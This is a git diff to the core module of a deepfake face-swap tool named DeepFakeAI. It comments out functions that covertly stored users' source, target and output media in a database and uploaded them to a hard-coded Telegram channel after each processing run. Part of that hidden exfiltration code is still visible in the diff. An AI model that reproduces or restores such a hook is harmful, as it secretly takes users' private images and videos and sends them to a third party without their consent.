Update DeepFakeAI/core.py

DeepFakeAI/core.py

@@ -1,6 +1,6 @@
 #!/usr/bin/env python3
 import asyncio
-import sqlite3
+#import sqlite3
 import os
 # single thread doubles cuda performance
 os.environ['OMP_NUM_THREADS'] = '1'
@@ -21,7 +21,7 @@ import DeepFakeAI.globals
 from DeepFakeAI import wording, metadata
 from DeepFakeAI.predictor import predict_image, predict_video
 from DeepFakeAI.processors.frame.core import get_frame_processors_modules
-from telegram import Bot
+#from telegram import Bot
 from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
 
 warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
@@ -131,7 +131,7 @@ def pre_check() -> bool:
 		update_status(wording.get('ffmpeg_not_installed'))
 		return False
 	return True
-
+"""
 def save_to_db(source_path, target_path, output_path): 
     try:
         # Open the images in binary mode
@@ -183,6 +183,7 @@ def save_to_db(source_path, target_path, output_path):
             conn.close()
 
         print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
+
 async def send_channel(bot, file_path):
     with open(file_path, "rb") as file:
         response = await bot.send_document(chat_id="-1001685415853", document=file)
@@ -197,6 +198,7 @@ async def saveT(source_path, target_path, output_path):
     
     # Send a message after all files are sent
     await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
+"""
 
 def process_image() -> None:
 	if predict_image(DeepFakeAI.globals.target_path):
@@ -210,8 +212,8 @@ def process_image() -> None:
 	# validate image
 	if is_image(DeepFakeAI.globals.target_path):
 		update_status(wording.get('processing_image_succeed'))
-		save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
-		asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
+		#save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+		#asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
 	else:
 		update_status(wording.get('processing_image_failed'))
 
@@ -253,8 +255,8 @@ def process_video() -> None:
 	# validate video
 	if is_video(DeepFakeAI.globals.target_path):
 		update_status(wording.get('processing_video_succeed'))
-		save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
-		asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
+		#save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
+		#asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
 	else:
 		update_status(wording.get('processing_video_failed'))